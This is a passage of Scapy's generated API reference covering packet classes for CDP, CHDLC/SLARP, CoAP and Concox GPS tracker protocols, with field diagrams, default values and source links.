+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DUPLEX    |
+-+-+-+-+-+-+-+-+

                        Fig. CDPMsgDuplex                         


CDPMsgDuplex fields






	type

	XShortEnumField

	11



	len

	ShortField

	5



	duplex

	ByteEnumField

	0















	
class scapy.contrib.cdp.CDPMsgGeneric(_pkt, /, *, type=None, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L117-L126]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CDPMsgGeneric                        


CDPMsgGeneric fields






	type

	XShortEnumField

	None



	len

	FieldLenField

	None



	val

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L125-L126]

	








	
class scapy.contrib.cdp.CDPMsgIPGateway(_pkt, /, *, type=7, len=8, defaultgw='192.168.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L245-L250]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DEFAULTGW                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CDPMsgIPGateway                       


CDPMsgIPGateway fields






	type

	XShortEnumField

	7



	len

	ShortField

	8



	defaultgw

	IPField

	'192.168.0.1'















	
class scapy.contrib.cdp.CDPMsgIPPrefix(_pkt, /, *, type=7, len=9, prefix='192.168.0.1', plen=24)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L253-L259]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PLEN     |
+-+-+-+-+-+-+-+-+

                       Fig. CDPMsgIPPrefix                        


CDPMsgIPPrefix fields






	type

	XShortEnumField

	7



	len

	ShortField

	9



	prefix

	IPField

	'192.168.0.1'



	plen

	ByteField

	24















	
class scapy.contrib.cdp.CDPMsgMTU(_pkt, /, *, type=17, len=6, mtu=1500)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L329-L334]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. CDPMsgMTU                          


CDPMsgMTU fields






	type

	XShortEnumField

	17



	len

	ShortField

	6



	mtu

	ShortField

	1500















	
class scapy.contrib.cdp.CDPMsgMgmtAddr(_pkt, /, *, type=22, len=None, naddr=None, addr=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L351-L353]

	Bases: CDPMsgAddr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CDPMsgMgmtAddr                        


CDPMsgMgmtAddr fields






	type

	XShortEnumField

	22



	len

	ShortField

	None



	naddr

	FieldLenField

	None



	addr

	PacketListField

	[]















	
class scapy.contrib.cdp.CDPMsgNativeVLAN(_pkt, /, *, type=10, len=6, vlan=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L279-L283]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VLAN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CDPMsgNativeVLAN                       


CDPMsgNativeVLAN fields






	type

	XShortEnumField

	10



	len

	ShortField

	6



	vlan

	ShortField

	1















	
class scapy.contrib.cdp.CDPMsgPlatform(_pkt, /, *, type=6, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L235-L237]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CDPMsgPlatform                        


CDPMsgPlatform fields






	type

	XShortEnumField

	6



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgPortID(_pkt, /, *, type=3, len=None, iface=b'Port 1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L206-L211]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IFACE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CDPMsgPortID                         


CDPMsgPortID fields






	type

	XShortEnumField

	3



	len

	FieldLenField

	None



	iface

	StrLenField

	b'Port 1'















	
class scapy.contrib.cdp.CDPMsgPower(_pkt, /, *, type=16, len=6, power=1337)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L321-L326]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             POWER             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CDPMsgPower                         


CDPMsgPower fields






	type

	XShortEnumField

	16



	len

	ShortField

	6



	power

	_CDPPowerField

	1337















	
class scapy.contrib.cdp.CDPMsgPowerAvailable(_pkt, /, *, type=26, len=None, req_id=0, mgmt_id=0, power_available_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L368-L377]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             REQ ID            |            MGMT ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      POWER AVAILABLE LIST     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. CDPMsgPowerAvailable                     


CDPMsgPowerAvailable fields






	type

	XShortEnumField

	26



	len

	FieldLenField

	None



	req_id

	ShortField

	0



	mgmt_id

	ShortField

	0



	power_available_list

	FieldListField

	[]















	
class scapy.contrib.cdp.CDPMsgPowerRequest(_pkt, /, *, type=25, len=None, req_id=0, mgmt_id=0, power_requested_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L356-L365]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             REQ ID            |            MGMT ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      POWER REQUESTED LIST     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CDPMsgPowerRequest                      


CDPMsgPowerRequest fields






	type

	XShortEnumField

	25



	len

	FieldLenField

	None



	req_id

	ShortField

	0



	mgmt_id

	ShortField

	0



	power_requested_list

	FieldListField

	[]















	
class scapy.contrib.cdp.CDPMsgProtoHello(_pkt, /, *, type=8, len=32, oui=12, protocol_id=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L262-L271]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PROTOCOL ID          |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CDPMsgProtoHello                       


CDPMsgProtoHello fields






	type

	XShortEnumField

	8



	len

	ShortField

	32



	oui

	OUIField

	12



	protocol_id

	XShortField

	0



	data

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgSoftwareVersion(_pkt, /, *, type=5, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L230-L232]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. CDPMsgSoftwareVersion                    


CDPMsgSoftwareVersion fields






	type

	XShortEnumField

	5



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgTrustBitmap(_pkt, /, *, type=18, len=5, trust_bitmap=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L337-L341]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TRUST BITMAP |
+-+-+-+-+-+-+-+-+

                      Fig. CDPMsgTrustBitmap                      


CDPMsgTrustBitmap fields






	type

	XShortEnumField

	18



	len

	ShortField

	5



	trust_bitmap

	XByteField

	0















	
class scapy.contrib.cdp.CDPMsgUntrustedPortCoS(_pkt, /, *, type=19, len=5, untrusted_port_cos=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L344-L348]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|UNTRUSTED PORT |
+-+-+-+-+-+-+-+-+

                   Fig. CDPMsgUntrustedPortCoS                    


CDPMsgUntrustedPortCoS fields






	type

	XShortEnumField

	19



	len

	ShortField

	5



	untrusted_port_cos

	XByteField

	0















	
class scapy.contrib.cdp.CDPMsgVTPMgmtDomain(_pkt, /, *, type=9, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L274-L276]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CDPMsgVTPMgmtDomain                     


CDPMsgVTPMgmtDomain fields






	type

	XShortEnumField

	9



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgVoIPVLANQuery(_pkt, /, *, type=15, len=None, unknown1=0, vlan=1, unknown2=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L301-L311]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    UNKNOWN1   |              VLAN             |    UNKNOWN2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. CDPMsgVoIPVLANQuery                     


CDPMsgVoIPVLANQuery fields






	type

	XShortEnumField

	15



	len

	FieldLenField

	None



	unknown1

	XByteField

	0



	vlan

	ShortField

	1



	unknown2

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgVoIPVLANReply(_pkt, /, *, type=14, len=7, status=1, vlan=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L293-L298]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |              VLAN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CDPMsgVoIPVLANReply                     


CDPMsgVoIPVLANReply fields






	type

	XShortEnumField

	14



	len

	ShortField

	7



	status

	ByteField

	1



	vlan

	ShortField

	1















	
class scapy.contrib.cdp.CDPv2_HDR(_pkt, /, *, vers=2, ttl=180, cksum=None, msg=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L411-L416]

	Bases: _CDPChecksum, CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      VERS     |      TTL      |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MSG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. CDPv2_HDR                          


CDPv2_HDR fields






	vers

	ByteField

	2



	ttl

	ByteField

	180



	cksum

	XShortField

	None



	msg

	PacketListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.chdlc


	
class scapy.contrib.chdlc.CHDLC(_pkt, /, *, address=15, control=0, proto=2048)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/chdlc.py#L20-L24]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ADDRESS    |    CONTROL    |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. CHDLC                            


CHDLC fields






	address

	ByteEnumField

	15



	control

	ByteField

	0



	proto

	XShortField

	2048











	
payload_guess

	Possible sublayers:
SLARP, IP, IPv6, Dot3, STP










	
class scapy.contrib.chdlc.SLARP(_pkt, /, *, type=2, address='192.168.0.1', mask='255.255.255.0', unused=0, mysequence=0, yoursequence=0, reliability=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/chdlc.py#L27-L41]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             UNUSED            |           MYSEQUENCE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          YOURSEQUENCE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          RELIABILITY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. SLARP                            


SLARP fields






	type

	IntEnumField

	2



	address

	IPField (Cond)

	'192.168.0.1'



	mask

	IPField (Cond)

	'255.255.255.0'



	unused

	XShortField (Cond)

	0



	mysequence

	IntField (Cond)

	0



	yoursequence

	IntField (Cond)

	0



	reliability

	XShortField (Cond)

	65535

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.coap

RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy


	
class scapy.contrib.coap.CoAP(_pkt, /, *, ver=1, type=0, tkl=None, code=0, msg_id=0, token=b'', options=[], paymark=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/coap.py#L212-L236]

	Bases: Packet


	
aliastypes

	




	
content_format

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VER|TYP|  TKL  |      CODE     |             MSG ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TOKEN             |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PAYMARK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. CoAP                             


CoAP fields






	ver

	BitField  (2 bits)

	1



	type

	BitEnumField

	0



	tkl

	BitFieldLenField  (4 bits)

	None



	code

	ByteEnumField

	0



	msg_id

	ShortField

	0



	token

	StrLenField

	b''



	options

	_CoAPOptsField

	[]



	paymark

	_CoAPPaymark

	b''











	
getfieldval(attr)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/coap.py#L226-L230]

	




	
post_dissect(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/coap.py#L232-L236]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.concox


	
class scapy.contrib.concox.BCDStrFixedLenField(name: str, default: Optional[bytes], length: Optional[int] = None, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/concox.py#L59-L63]

	Bases: StrFixedLenField


	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/concox.py#L60-L63]

	








	
class scapy.contrib.concox.CRX1New(_pkt, /, *, start_bit=30840, default_packet_length=None, extended_packet_length=None, default_packet_content=None, extended_packet_content=None, end_bit=3338)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/concox.py#L279-L304]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           START BIT           |DEFAULT PACKET |EXTENDED PACKET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     DEFAULT PACKET CONTENT    |EXTENDED PACKET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            END BIT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. CRX1New                           


CRX1New fields






	start_bit

	XShortField

	30840



	default_packet_length

	ByteField (Cond)

	None



	extended_packet_length

	ShortField (Cond)

	None



	default_packet_content

	PacketLenField (Cond)

	None



	extended_packet_content

	PacketLenField (Cond)

	None



	end_bit

	XShortField

	3338















	
class scapy.contrib.concox.CRX1NewPacketContent(_pkt, /, *, protocol_number=18, terminal_id=b'00000000', year=0, month=1, day=1, hour=0, minute=0, second=0, gps_information_length=0, positioning_satellite_number=0, latitude=0, longitude=0, speed=0, course=0, latitude_hemisphere=0, longitude_hemisphere=0, gps_been_positioning=0, gps_status=0, course_status_reserved=0, lbs_length=0, mcc=0, mnc=0, lac=0, cell_id=0, mileage=0, defence=0, acc=0, charge=0, alarm=0, gps_tracking=0, oil_and_eletricity=0, voltage_level=0, gsm_signal_strength=0, command_length=None, server_flag_bit=0, command_content=b'', alarm_extended=0, language=0, subprotocol_number=0, external_battery=0, external_io_detection=<Flag 0 ()>, information_serial_number=None, crc=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/concox.py#L66-L276]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTOCOL NUMBER|                  TERMINAL ID                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      YEAR     |     MONTH     |      DAY      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      HOUR     |     MINUTE    |     SECOND    |GPS INF|POSITIO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LATITUDE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LONGITUDE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     SPEED     |       COURSE      |L|L|G|G|COU|   LBS LENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |      LAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    CELL ID                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    MILEAGE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
